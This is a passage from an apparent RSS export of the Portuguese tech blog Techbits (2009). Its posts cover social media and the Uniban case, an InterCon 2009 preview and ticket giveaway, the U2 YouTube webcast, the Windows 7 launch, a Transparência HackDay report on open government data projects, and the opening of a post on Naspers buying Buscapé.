<p>Alguns séculos se passaram e o <a id="r_1s" title="Vint Cerf" href="http://www.flickr.com/photos/ayfugita/3588699039/">Vint Cerf</a> inventou a internets. Revolução de novo! Esse novo meio aberto permitiu uma série de coisas. Distribuir informação ficou mais barato de novo. Muito barato. Tão barato que permite a qualquer um divulgar suas ideias, textos, fotos, vídeos, etc. E essa é a revolução que hoje chamamos de <a id="zaod" title="mídias sociais" href="http://twitter.com/fugita/status/5507457496">mídias sociais</a>.</p>
<p>Daí aparecem aqueles que não sabem que agora todo mundo tem voz na multidão. <a id="h2x1" title="Vide o caso Uniban" href="http://comfelelimao.wordpress.com/2009/11/09/e-a-uniban-mostra-porque-e-a-uniban/">Vide o caso Uniban</a>, impossível abafar um caso desses em tempos de youtube, twitter, blogs. E foi o que aconteceu.</p>
<p><small>obs: imagem deste post <a id="rgzt" title="Series of Tubes" href="http://en.wikipedia.org/wiki/Series_of_tubes">Series of Tubes</a>, referência à declaração de um senador americano que virou piada nas rodinhas de internets, <a id="rskj" title="retirada deste blog" href="http://themachineisus.wordpress.com/2008/07/28/the-first-campaign/">retirada deste blog</a>.</small></p>
<h4>Leitura recomendada:</h4>
<ul>
<li><a id="cszt" title="Uniban e gestão de crises pós-Internet" href="http://www.talk2.com.br/debate/o-que-a-uniban-deveria-saber-sobre-gerenciamento-de-crises-pos-internet/">Uniban e gestão de crises pós-Internet</a>, via Talk:2, texto do Juliano Spyer</li>
<li><a id="g6:v" title="O código da discórdia" href="../2007/o-codigo-da-discordia/">O código da discórdia</a>, via Techbits, sobre indústria do DVD vs. Internet</li>
<li><a id="bjts" title="Só porque transou na praia quer tampar o sol com a peneira" href="http://www.meiobit.com/meio-bit/internet/so-porque-transou-na-praia-quer-tampar-o-sol-com-a-peneira">Só porque transou na praia quer tampar o sol com a peneira</a>, via Meio Bit, sobre Cicarelli vs. Internet</li>
<li><a id="pb53" title="Boteco São Bento (o pior bar do sistema solar)" href="http://www.contraditorium.com/2009/09/29/boteco-sao-bento-o-pior-bar-do-sistema-solar/">Boteco São Bento (o pior bar do sistema solar)</a>, via Contraditorium, sobre o Pior bar do sistema solar vs. Internets</li>
<li><a id="juy5" title="Como a campanha &quot;Xô Sarney&quot; se espalhou pela blogosfera" href="http://www.interney.net/blogs/inagaki/2006/09/03/como_a_campanha_xo_sarney_se_espalhou_pe/">Como a campanha &#8220;Xô Sarney&#8221; se espalhou pela blogosfera</a>, via Pensar Enlouquece, sobre o Coroné vs. Internets</li>
</ul>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2009/essa-tal-da-internets.../">Essa tal da internets&#8230;</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<item>
		<title>InterCon 2009: sorteio de convites e destaques do evento</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 27 Oct 2009 15:53:41 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[convites]]></category>
		<category><![CDATA[destaques]]></category>
		<category><![CDATA[intercon]]></category>
		<category><![CDATA[intercon2009]]></category>
		<category><![CDATA[sorteio]]></category>
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					<description><![CDATA[<p>O iMasters InterCon é um evento sempre em mutação. A cada ano novos formatos são testados o que sempre garante a diversão. Em 2007 o evento contou com blogueiros convidados no palco, tuitando e blogando em tempo real. Em 2008 o InterCon teve palestras simultâneas no mesmo palco o que foi uma representação clássica da [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/10/intercon2009.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-758" title="intercon2009" src="https://techbits.com.br/wp-content/uploads/2009/10/intercon2009.png" alt="intercon2009" width="190" height="60" /></a>O <a id="n03l" title="iMasters InterCon" href="http://www.intercon2009.com/livro/">iMasters InterCon</a> é um evento sempre em mutação. A cada ano novos formatos são testados o que sempre garante a diversão. Em 2007 o evento contou com blogueiros convidados no palco, tuitando e blogando em tempo real. Em 2008 o InterCon teve palestras simultâneas no mesmo palco o que foi uma representação clássica da <a id="im4r" title="economia da atenção" href="http://en.wikipedia.org/wiki/Attention_economy">economia da atenção</a> que sempre vemos na interwebs. E em 2009 <a id="o2md" title="um livro será criado colaborativamente" href="http://www.intercon2009.com/livro/">um livro será criado colaborativamente</a> durante o evento, editado e lançado no final do dia, já impresso!</p>
<p>Outra coisa interessante do InterCon deste ano é a <a id="gwfy" title="lista aberta de inscritos" href="http://www.intercon2009.com/lista-inscritos/">lista aberta de inscritos</a>. Desta forma fica mais interessante saber de ante mão quem estará lá e preparar o discurso e os cartões de visitas para o sempre importante networking.</p>
<p>O Techbits, claro, estará lá mais uma vez e vai sortear DOIS convites para o InterCon 2009. Mas antes, vou falar de alguns destaques das seis áreas do evento deste ano. <a id="kt3h" title="A programação completa está aqui" href="http://www.intercon2009.com/programacao/">A programação completa está aqui</a>.</p>
<h3>Novo Olhar Digital (Ambiente Business)</h3>
<p>A primeira das apresentações chama-se &#8220;<em>Inovação Coletiva na Era das Redes Sociais</em>&#8220;. Acredito que será discutido coisas como crowdsourcing, sabedoria das multidões, colaboração, entre outros, tudo focado em redes sociais e inovação. Grandes nomes como Marcelo Coutinho, Carlos Nepomuceno e Sergio Amadeu serão os palestrantes.</p>
<p>Já o Cazé Peçanha estará lá para falar do &#8220;<em>Cidadão Jornalista &#8211; O Futuro da Informação</em>&#8220;. Ninguém mais apropriado do que ele já que criou o <a id="idfb" title="Gengibre" href="http://gengibre.com.br/">Gengibre</a>, serviço de distribuição de informações rápidas no formato de áudio.</p>
<h3>Negócios Digitais e as Novas Mídias (Ambiente Business)</h3>
<p>Será interessante acompanhar &#8220;<em>A revolução do DATA.GOV</em>&#8220;. Provavelmente o Tiago Peixoto discutirá a ideia de os governos transformarem seus dados públicos em sistemas abertos, algo que <a id="b6wk" title="já discuti em um post recente aqui no Techbits" href="../2009/apis-abertas-de-dados-do-governo/">já discuti em um post recente aqui no Techbits</a>.</p>
<p>Em seguida teremos o Juliano Spyer, autor de alguns livros sobre interwebs, com o tema &#8220;<em>O Futuro do Livro</em>&#8220;. Bastante apropriado já que seu projeto de livro <a id="f9eo" title="Para Entender a Internet" href="http://www.naozero.com.br/para-entender">Para Entender a Internet</a> foi lançado apenas em formato digital e gratuito e deve ganhar uma versão ampliada e revisada em breve segundo o próprio Juliano.</p>
<h3>Desenvolvimento e Tecnologia (Ambiente Tecnologia)</h3>
<p>Como a internets é o sistema operacional, é sempre bom conhecer o &#8220;<em>Yahoo! Query Language</em>&#8220;, tema da palestra do Bruno Zanchet, do Yahoo!. O <a id="f1c4" title="YQL" href="http://developer.yahoo.com/yql/">YQL</a> é como se fosse uma grande API de todos os webapps do Interwebs OS.</p>
<p>Vale também acompanhar a palestra &#8220;<em>Opera Unite</em>&#8220;, do Navjot Pawera, um dos destaques internacionais do InterCon. O Opera Unite permite tornar o computador de todos em <a id="wzrc" title="um servidor de páginas web com funcionalidades sociais interessantes" href="http://www.meiobit.com/meio-bit/software/opera-unite">um servidor de páginas web com funcionalidades sociais interessantes</a>.</p>
<h3>Mobilidade (Ambiente Tecnologia)</h3>
<p>Na briga pelo mercado de mobilidade a Nokia é um dos grandes players interessados em aplicações móveis. Ou seja, ver a palestra &#8220;<em>Plataformas Nokia de Desenvolvimento</em>&#8220;, precisa estar no line-up de todo desenvolvedor da área.</p>
<p>No mesmo sentido saber as últimas sobre &#8220;<em>A Revolução das Application Stores</em>&#8220;, do palestrante internacional Angel Aldana da Blackberry RIM é &#8220;obrigatório&#8221;. <a href="http://www.brainstorm9.com.br/2009/10/26/a-economia-dos-aplicativos/">Todo mundo que desenvolve pra mobile precisa vender suas criações nas apps stores da vida</a>.</p>
<h3>Criação Interativa (Ambiente Criação e Inovação)</h3>
<p>O destaque vai para o pessoal da <a id="ila-" title="laboratorio.us" href="http://laboratorio.us/">laboratorio.us</a> que deve criar um mashup entre o mundo físico e o digital durante o período da manhã. A apresentação deles &#8220;<em>Computação Pervasiva</em>&#8221; é dividida em duas partes, a primeira rápida e a segunda quase na hora do almoço com a demonstração do mashup criado. Parece interessante, <a id="meca" title="vejam a entrevista deles no MultiShow" href="http://laboratorio.us/blog/2009/08/04/laboratorio-na-tv/">vejam a entrevista deles no MultiShow</a>.</p>
<p>Também vale acompanhar &#8220;<em>O melhor da produção interativa brasileira</em>&#8221; que será apresentado pelo pessoal da <a id="csj6" title="Colmeia.tv" href="http://www.colmeia.tv/blog/">Colmeia.tv</a>, André Passamani e Eduardo Camargo.</p>
<h3>Inovação e Empreendedorismo Digital (Ambiente Criação e Inovação)</h3>
<p>Essa é uma área bem interessante. O Gilberto Jr, co-fundador da <a id="toc_" title="Amanaiê" href="http://amanaie.com.br/">Amanaiê</a>, vai falar sobre &#8220;<em>Desenvolvimento para Social Media</em>&#8220;. A Amanaiê cria widgets e webapps para que a multidão interaja com as marcas. <a id="zo-t" title="Esse é o novo filão da conversação e relacionamento de longo prazo que citei em um post no blog ComRemix" href="http://www.comremix.com.br/a-questao-do-seeding">Esse é o novo filão da conversação e relacionamento de longo prazo que citei em um post no blog ComRemix</a>.</p>
<p>Já o Horácio Soares falará sobre &#8220;<em>Acessibilidade como Fator de Inovação</em>&#8220;. <a id="wtn7" title="Recomendo assistir ao vídeo que o Acesso Digital" href="http://acessodigital.net/video.html">Recomendo assistir ao vídeo que o Acesso Digital</a>, entidade criada pelo Horácio fez sobre acessibilidade. É genial.</p>
<h3>Sorteio de DOIS ingressos! (Inscrições Encerradas)</h3>
<p>Bom, acho que essa é a parte que muita gente quer saber! Sortearei <strong>dois convites</strong> para o InterCon 2009. Dois separados! Essa é parte é bom esclarecer. Não se trata de um convite com acompanhante <strong>e sim dois convites individuais</strong>, importante entender isso.</p>
<p>Agradeço à <a id="u4zh" title="Polvora" href="http://polvoracomunicacao.com.br/">Polvora</a> e ao <a id="nfax" title="iMasters" href="http://imasters.uol.com.br/">iMasters</a> por cederem cada um desses convites. E para estimular sua vontade de ir ao InterCon 2009, uma foto do evento do ano passado, <a href="http://www.flickr.com/photos/ayfugita/2978265432/in/set-72157608417342479/">retirado do Flickr</a>:</p>
<p><a href="https://techbits.com.br/wp-content/uploads/2009/10/intercon2008-mlemos.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-760" title="intercon2008-mlemos" src="https://techbits.com.br/wp-content/uploads/2009/10/intercon2008-mlemos.jpg" alt="intercon2008-mlemos" width="540" height="304" srcset="https://techbits.com.br/wp-content/uploads/2009/10/intercon2008-mlemos.jpg 540w, https://techbits.com.br/wp-content/uploads/2009/10/intercon2008-mlemos-300x168.jpg 300w" sizes="auto, (max-width: 540px) 100vw, 540px" /></a></p>
<p>Para participar é simples! Basta comentar neste post uma palestra que você quer ver e também os motivos. Além disso você pode retuitar esse texto no Twitter e se possível citar o <strong>@techbits</strong> (ou @fugita) para que eu possa saber quem retuitou.</p>
<p>Cada comentário vale 1 &#8220;cupom&#8221; de participação. <strong>Cada retuíte valem 2 &#8220;cupons&#8221; de participação</strong>. Você pode comentar e retuitar uma vez por dia para participar deste sorteio. Valem comentários e retuítes de hoje, terça-feira, 27 de Outubro de 2009, até as 23h59 da quinta-feira, dia 29 de Outubro de 2009.</p>
<p>Não esqueça de deixar um e-mail válido no comentário e também seguir o perfil <a id="uicf" title="@techbits" href="http://twitter.com/techbits">@techbits</a> no Twitter para que eu possa entrar em contato com o ganhador.</p>
<p>No dia 30, sexta-feira, compilarei a lista de quem está concorrendo e <strong>tornarei pública tal lista</strong> através de uma planilha do Google Docs.</p>
<p>Em seguida farei o sorteio via <a id="gur_" title="Random.org" href="http://www.random.org/">Random.org</a>. O sorteio será filmado para evitar problemas e o vídeo divulgado em seguida neste espaço. O sorteio acontece às 10 horas da manhã da sexta-feira. O ganhador será notificado e terá seu nome publicado neste post mesmo em uma atualização.</p>
<p>Resumindo as regras:</p>
<ul>
<li>Comente neste post uma palestra que você quer ver e os motivos</li>
<li>Retuíte este post no Twitter</li>
<li>Siga o <a id="o8gx" title="@techbits" href="http://twitter.com/techbits">@techbits</a></li>
<li>Um comentário e um retuíte por dia.</li>
<li>Comentário vale 1 cupom. Retuíte vale 2 cupons.</li>
<li>Deadline: quinta-feira, 29 de Outubro de 2009, 23h59</li>
<li>Não crie perfis falsos no Twitter e nem um monte de e-mails falsos nos comentários. Vou checar esse tipo de comportamento.</li>
</ul>
<p>Prontos? Boa sorte!</p>
<h3>Cupons</h3>
<p><strong>[atualização em 30/10/2009, 3:00]</strong></p>
<p>Neste momento as inscrições para o sorteio já foram encerradas e já compilei a lista de todos os participantes. Há 54 cupons de 22 pessoas diferentes. A lista completa dos participantes pode ser vista na planilha abaixo:</p>
<p><iframe width='540' height='300' frameborder='0' src='http://spreadsheets.google.com/pub?key=tYmbsIaaCmUnyPXyXXzYi6g&#038;output=html&#038;widget=true'></iframe></p>
<h3>Sorteio</h3>
<p><strong>[atualização em 30/10/2009, 3:30]</strong></p>
<p>O sorteio foi realizado e os ganhadores são o <a href="http://www.keeponrightway.com/">Tony Fabeen</a> e o <a href="http://twitter.com/cleytonb">@cleytonb</a>. Entrarei em contato com ambos para informá-los do prêmio! Parabéns!</p>
<p>Claro, gravei o sorteio. <a href="http://www.youtube.com/watch?v=GL9dyL-qFYE">Você pode conferir o vídeo aqui</a>.</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2009/intercon-2009-sorteio-de-convites-e-destaques-do-evento/">InterCon 2009: sorteio de convites e destaques do evento</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<title>Podemos dizer que TV = internet?</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Mon, 26 Oct 2009 07:55:59 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[distribuição]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[transmissão]]></category>
		<category><![CDATA[tv]]></category>
		<category><![CDATA[u2]]></category>
		<category><![CDATA[u2webcast]]></category>
		<category><![CDATA[youtube]]></category>
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					<description><![CDATA[<p>Na madrugada desta segunda-feira a banda irlandesa U2 fez um show que foi transmitido ao vivo pela internet no YouTube (imagem ao lado). Até aí nada demais, todo mundo transmite coisas ao vivo pela internet no Justin.tv ou Qik. O que impressiona no caso é a escala da coisa. É a segunda vez que o [&#8230;]</p>
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										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/10/u2webcast.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-752" title="u2webcast" src="https://techbits.com.br/wp-content/uploads/2009/10/u2webcast.png" alt="u2webcast" width="250" height="149" /></a>Na madrugada desta segunda-feira a banda irlandesa U2 fez um show  <a id="soma" title="U2 fez um show que foi transmitido ao vivo pela internet no YouTube" href="http://googlediscovery.com/2009/10/25/youtube-ira-transmitir-show-ao-vivo-do-u2/">que foi transmitido ao vivo pela internet no YouTube</a> (imagem ao lado). Até aí nada demais, todo mundo transmite coisas ao vivo pela internet no Justin.tv ou Qik. O que impressiona no caso é a escala da coisa. É a segunda vez que o YouTube faz esse tipo de transmissão ao vivo. Na primeira vez <a id="v2wc" title="700 mil pessoas acompanharam o streaming do evento" href="http://macmagazine.uol.com.br/2008/11/23/google-contrata-akamai-para-transmissao-do-youtube-live-700-mil-espectadores-simultaneos/">700 mil pessoas acompanharam o streaming do evento</a>. Desta vez foi provavelmente algo bem maior. Daí vem a pergunta&#8230; TV? Pra mim TV já é igual à internet faz um bom tempo.</p>
<p>Muitos comentários no Twitter durante a transmissão já <a id="ybr4" title="apontavam para esse fato impressionante" href="http://www.poltrona.tv/u2webcast-e-a-revolucao-no-modo-de-ver-tv/">apontavam para esse fato impressionante</a>. A transmissão de vídeo na internet é bem diferente da transmissão do sinal de TV. Na TV apenas um sinal é transmitido por uma antena e vários aparelhos exibem essa transmissão. Na internet é necessário transmitir um sinal para cada ponto que esteja vendo o vídeo. Imagina 1 milhão ou mais de sinais transmitidos ao mesmo tempo. E o tempo total da transmissão durar duas horas e meia&#8230; <a id="m63-" title="Impressionante, né?" href="http://twitter.com/fugita/status/5167386996">Impressionante, né?</a></p>
<p>Se já é possível transmitir pra tanta gente ao mesmo tempo um sinal de TV pela internet, daqui a pouco o sinal do cabo ou do espectro de frequências se tornará obsoleto. Eu, por exemplo, raramente assisto TV de verdade. Tanto que agora nem tenho mais TV à cabo e nem antena de TV normal.</p>
<p>Quando quero noticiários em vídeo vou ao G1. Quando quero assistir séries, TPB. Se quero ver um programa da TV aberta, YouTube. Um bom exemplo é o caso do Um Contra Cem, programa do Roberto Justus no SBT, só assisto no YouTube.</p>
<p>Na TV dependemos da grade imposta e programação, na interwebs não. Claro que a transmissão do show do U2 era em um horário pré-definido. Mas logo em seguida aconteceu o re-broadcast e o <a id="uo4b" title="vídeo ficará disponível para quem quiser assistir" href="http://www.youtube.com/u2">vídeo ficará disponível para quem quiser assistir</a> quando bem entender. Claro que a TV aberta mudou. A Globo e Record transmitem seus noticiários em seus portais de notícias.</p>
<p>E tudo isso faz parte de uma discussão bem mais ampla que já rendeu muitos posts neste blog. A internet permite a distribuição da informação de forma bem mais barata que os métodos &#8220;convencionais&#8221;. É assim com o jornal de papel, com o DVD de plástico e também para o sinal da TV. <a id="ely1" title="O suporte físico tem maior percepção de valor" href="http://www.tiagodoria.ig.com.br/2009/09/25/as-pessoas-pagam-por-papel/">O suporte físico tem maior percepção de valor</a>. Mas acho que no fim os bits do TCP/IP vencem! É a velha escassez vs. abundância.</p>
<h4>Leia também:</h4>
<ul>
<li><a id="ndub" title="#U2Webcast e a revolução no modo de ver TV" href="http://www.poltrona.tv/u2webcast-e-a-revolucao-no-modo-de-ver-tv/">#U2Webcast e a revolução no modo de ver TV</a>, via Poltrona TV</li>
<li><a id="xv1i" title="TV e YouTube: diametralmente opostos" href="../2007/tv-e-youtube-diametralmente-opostos/">TV e YouTube: diametralmente opostos</a>, aqui no Techbits</li>
</ul>
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		<title>E o Windows 7, vira?</title>
		<link>https://techbits.com.br/2009/e-o-windows-7-vira/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 22 Oct 2009 05:09:20 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows 7]]></category>
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					<description><![CDATA[<p>Hoje foi lançado o Windows 7, a versão mais recente do sistema operacional mais usado no mundo. Em 2007 previ que essa nova versão não sairia em 2009. Errei feio mas a culpa não foi minha, foi do Windows Vista que quase foi um desastre gigantesco. A Microsoft correu e lançou antes das festas de [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/10/windows7.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-744" title="windows7" src="https://techbits.com.br/wp-content/uploads/2009/10/windows7.jpg" alt="windows7" width="250" height="188" /></a>Hoje foi lançado o Windows 7, a versão mais recente do sistema operacional mais usado no mundo. <a id="fz80" title="Em 2007 previ" href="../2007/novo-windows-nao-sai-em-2009/">Em 2007 previ</a> que essa nova versão não sairia em 2009. Errei feio mas a culpa não foi minha, foi do Windows Vista que quase foi um desastre gigantesco. A Microsoft correu e lançou antes das festas de final de ano o que pode ser seu produto mais importante e decisivo para o futuro da empresa.</p>
<p>O cenário atual é bem diferente do que era no início de 2007. Naquela época não existia o iPhone, o Ubuntu era um sistema operacional obscuro restrito a nerds e o Windows XP reinava soberano nos computadores de todo o mundo. Claro, o Windows ainda reina, mas o OSX da Apple e o Ubuntu fizeram avanços importantes. E nem falei do Google Chrome OS que deve ser lançado no ano que vem.</p>
<p>O Windows Vista foi visto como o patinho feio dos sistemas operacionais. A Microsoft errou feio ao lançar tal sistema tão cru e com vários problemas. <a id="mvr7" title="Blogs e sites influentes de tecnologia recomendaram à MS que matasse o Vista e voltasse à prancheta" href="http://news.cnet.com/8301-10784_3-9785337-7.html">Blogs e sites influentes de tecnologia recomendaram à MS que matasse o Vista e voltasse à prancheta</a>. Não foi o que fizeram mas o resultado de um sistema tão ruim foi que muita gente preferiu fazer um upgrade para o XP ao invés de usar o Vista. Sim, upgrade.</p>
<p>Já o Windows 7 aparece bem melhor na fita. Tenho usado de vez em quando a versão beta ou RC &#8211; não sei ao certo &#8211; já faz alguns meses. A máquina que eu rodo esse sistema não é lá essas coisas, um Celeron com apenas 1 GB de RAM, e pra minha grande surpresa o Win7 roda de forma razoável. Se fosse o Vista acho que o hardware não aguentaria. Só para informar, meu SO de escolha é o Ubuntu por enquanto.</p>
<p>Muitas pessoas que conversei e que também testaram o Windows 7 disseram coisas parecidas, ou seja, pelo menos na percepção do público &#8220;early adopter&#8221; esse sistema está bem melhor que o Vista.</p>
<p>O lançamento de hoje é importante para a gigante de Redmond. Primeiro para tirar o peso do Vista dos ombros do Steve Ballmer. <a id="m3yy" title="Alguns cogitaram até sua saída" href="http://thenextweb.com/2009/10/06/steve-ballmer/">Alguns cogitaram até sua saída</a> devido a fracos resultados de sua gestão. Depois porque a concorrência tem avançado ferozmente em vários campos da Microsoft. Se o modelo deles de <a id="by6q" title="Software + Services" href="http://www.microsoft.com/softwareplusservices/">Software + Services</a> vai funcionar só o futuro dirá. E viva o Windows 7!</p>
<p>Curiosidade: por coincidência ou não o <a id="nctp" title="comprador número 1 do Windows 7" href="http://pcworld.uol.com.br/noticias/2009/10/21/conheco-os-primeiros-da-fila-para-compra-do-windows-7-no-brasil/">comprador número 2 do Windows 7</a> é o mesmo cara que foi o <a id="xdgs" title="comprador número 2 do Vista" href="../2007/o-que-um-geek-faz-da-meia-noite-as-6h/">comprador número 2 do Vista</a>. Ou o cara gosta mesmo do Windows ou ele foi contratado pela Microsoft para aparecer no jornal&#8230; :-)</p>
<h4>Veja também:</h4>
<ul>
<li><a id="wmmu" title="Galeria de fotos do lançamento em SP na Fnac" href="http://www.flickr.com/photos/ayfugita/sets/72157622637012138/">Galeria de fotos do lançamento em SP na Fnac</a>, via Flickr</li>
<li><a href="http://info.abril.com.br/noticias/tecnologia-pessoal/fa-de-ubuntu-elogia-windows-7-em-festa-22102009-2.shl">Fã de Ubuntu (eu!) elogia Windows 7</a>, via Info plantão</li>
</ul>
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		<title>APIs abertas de dados do governo</title>
		<link>https://techbits.com.br/2009/apis-abertas-de-dados-do-governo/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Mon, 05 Oct 2009 15:25:07 +0000</pubDate>
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		<category><![CDATA[abertos]]></category>
		<category><![CDATA[apis]]></category>
		<category><![CDATA[dados]]></category>
		<category><![CDATA[hackday]]></category>
		<category><![CDATA[públicos]]></category>
		<category><![CDATA[thackday]]></category>
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					<description><![CDATA[<p>Em diversas conversas que já tive com o Pedro Markun do Jornal de Debates um assunto recorrente foram os dados públicos abertos. Nos EUA o presidente Obama determinou um prazo para que todas as esferas do governo abram seus dados publicamente através de APIs para que qualquer um possa usar essas informações como desejar em [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/10/thackday.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-737" title="thackday" src="https://techbits.com.br/wp-content/uploads/2009/10/thackday.jpg" alt="thackday" width="250" height="271" /></a>Em diversas conversas que já tive com o Pedro Markun do Jornal de Debates um assunto recorrente foram os dados públicos abertos. Nos EUA o presidente Obama determinou um prazo para que todas as esferas do governo abram seus dados publicamente através de <a id="p-d9" title="APIs" href="http://pt.wikipedia.org/wiki/API">APIs</a> para que qualquer um possa usar essas informações como desejar em mashups, webapps, etc. Aqui no Brasil aconteceu no último fim de semana o 1o. <a id="zwyw" title="Transparência HackDay" href="http://www.slideshare.net/esferamobi/transparencia-hackday-proposta">Transparência HackDay</a> com o objetivo de mostrar e criar aplicativos que tornem alguns dados públicos abertos.</p>
<p>O mais interessante foi ver que os desenvolvedores e entusiastas que participaram do evento conseguiram extrair alguns dados de bases públicas disponíveis mas não tão acessíveis assim. Mais ou menos como se criassem APIs para dados que não as tem. Genial, não?</p>
<h3>Políticos API</h3>
<p>Duas dessas iniciativas fizeram isso extraindo dados sobre políticos brasileiros. O <a id="gc90" title="projeto do Parlamento Aberto" href="http://trac.parlamentoaberto.org/">projeto do Parlamento Aberto</a> (Helder Ribeiro), listou todos os deputados brasileiros e extraiu uma lista de tudo que eles estão fazendo. Já o <a id="upaq" title="projeto Dados Público" href="http://dadospublicos.appspot.com/static/transp.html#">projeto Dados Públicos</a> (Pedro Valente) &#8220;parseou&#8221; o site Transparência Brasil usando o YQL (<a id="zl_a" title="Yahoo! Query Language" href="http://developer.yahoo.com/yql/">Yahoo! Query Language</a>) e extraiu informações sobre políticos brasileiros. Por enquanto tais dados limitam-se a uma foto do político e seu CPF. Mas muitas informações poderão ficar disponíveis por uma API.</p>
<h3>Multimídia API</h3>
<p>O projeto ABrCrawl (Fabricio Zuardi) é um robô que vasculha o site da <a id="w0he" title="Agência Brasil" href="http://www.agenciabrasil.gov.br/">Agência Brasil</a> e disponibiliza as fotos do sistema para serem usadas por quem quiser. Como a Agência Brasil licencia seu conteúdo em Creative Commons, é possível usar as fotos até comercialmente desde que a fonte seja citada. Usando os dados do ABrCrawl eu imaginei um Agência Brasil Vision, ao estivo <a id="h.dm" title="Flickr Vision" href="http://flickrvision.com/">Flickr Vision</a> ou <a id="wgv." title="Twitter Vision" href="http://beta.twittervision.com/">Twitter Vision</a>!</p>
<p>Já o projeto MetaVid (Pedro Markun) tem a ideia de se basear no <a id="u_ji" title="MetaVid" href="http://metavid.org/">MetaVid</a> americano que pega os streamings do C-Span (uma espécie de TV Senado) e os disponibiliza na web. A ideia aqui é fazer exatamente o mesmo com a TV Senado e canais públicos que mostram sessões plenárias.</p>
<h3>USP oauth API</h3>
<p>A Universidade de São Paulo (USP) possui seu sistema de login que autentica seus alunos e funcionários quando entram em seu site. Mas e  se você quiser autenticar um aluno para um webapp externo de qualquer natureza? Pois é, uma das criações foi um sistema que, dado o login e senha de um usuário, ele verifica se o sistema USP o autentica como válido. Claro, como todo espírito #hackday, não existe autorização prévia da USP para isso. A possibilidade mostrada é criar votações autenticadas mas em webapps externos. Quem sabe isso aumente a transparência da universidade?</p>
<h3>Sustentabilidade API</h3>
<p>Dois projetos envolveram preocupações com o meio-ambiente. Um deles, o <a id="kchw" title="Tr3e" href="http://tree.veredas.net/">Tr3e</a> (Thiago Carrapatoso), trata os dados do INPE sobre desmatamento e apresenta de forma mais amigável para nós.</p>
<p>O outro projeto foi sobre lixo eletrônico (Maira Begalli). A Maira, idealizadora da ideia, nos contou que não há dados sobre lixo eletrônico (não é spam, e sim baterias, carcaças, essas coisas) disponíveis facilmente. Conseguiu depois de muito esforço uma planilha PDF com informações sobre o assunto. Então essa é uma crítica ao Ibama, Cetesb ou outro órgão que trate do assunto. Cadê as bases de dados? No final ela apresentou um vídeo sobre o assunto.</p>
<h3>Educação API</h3>
<p>O <a id="zq9h" title="projeto Mapa da Eja" href="http://esfera.mobi/eja">projeto Mapa da Eja</a> (Bianca Santana) tem o objetivo de tornar disponível informações sobre escolas que promovem a Educação de Jovens Adultos. Esses dados são pouco divulgados e adultos que não terminaram os estudos não sabem onde procurar esse tipo de informação. Uma mapa já localiza as escolas que tem o EJA e futuramente a ideia é plotar também os adultos que precisam desta educação como forma de sensibilizar a sociedade para o problema.</p>
<h3>Clone do Planalto</h3>
<p>Claro, o <a id="g1rw" title="blog clone do Planalto" href="http://planalto.blog.br">blog clone do Planalto</a> não é um projeto do Transparência Hack Day. Mas não poderia deixar de mencionar aqui tal acontecimento já que os criadores do clone são também os organizadores do #thackday. O Markun e a Daniela B. Silva criaram o clone do Planalto no espírito de transparência. Um blog que simplesmente clona todos os posts do blog oficial com a diferença de permitir comentários. Ótimo, não?</p>
<h3>Governo API</h3>
<p>Pois é, depois de toda essa discussão, cadê as APIs abertas do governo? Seria realmente interessante que todas as esferas da administração pública tornassem informações abertas através de APIs. Restaria aos cidadãos criarem ferramentas que utilizassem esses dados para os mais variados projetos.</p>
<p>Com a Copa em 2014 e as Olimpíadas em 2016 no Brasil muita gente já começou a se mobilizar para que informações financeiras sobre esses dois projetos fique disponíveis e abertas à população e essa é uma grande oportunidade do Governo brasileiro adotar APIs abertas para dados públicos. Será?</p>
<h4>Leitura recomendada:</h4>
<ul>
<li><a id="bu8x" title="O que aconteceu no 1º Transparência HackDay" href="http://www.tiagodoria.ig.com.br/2009/10/05/o-que-aconteceu-no-1º-transparencia-hackday/">O que aconteceu no 1º Transparência HackDay</a>, via Tiago Dória Weblog</li>
<li><a href="http://www.flickr.com/photos/ayfugita/sets/72157622518327238/">Fotos no Flickr do #thackday</a></li>
</ul>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2009/apis-abertas-de-dados-do-governo/">APIs abertas de dados do governo</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<item>
		<title>Naspers quer dominar a web no Brasil</title>
		<link>https://techbits.com.br/2009/naspers-quer-dominar-a-web-no-brasil/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Wed, 30 Sep 2009 09:32:34 +0000</pubDate>
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					<description><![CDATA[<p>Claro, estou exagerando. Mas quem acompanhou as notícias de ontem sabe que a sul africana Naspers comprou 91% do grupo Buscapé por US$ 342 milhões. É uma quantia significativa por um negócio web brasileiro e mostra o quanto a Naspers/ MIH está interessada no mercado tupiniquim. A MIH é o braço digital e tem participações [&#8230;]</p>
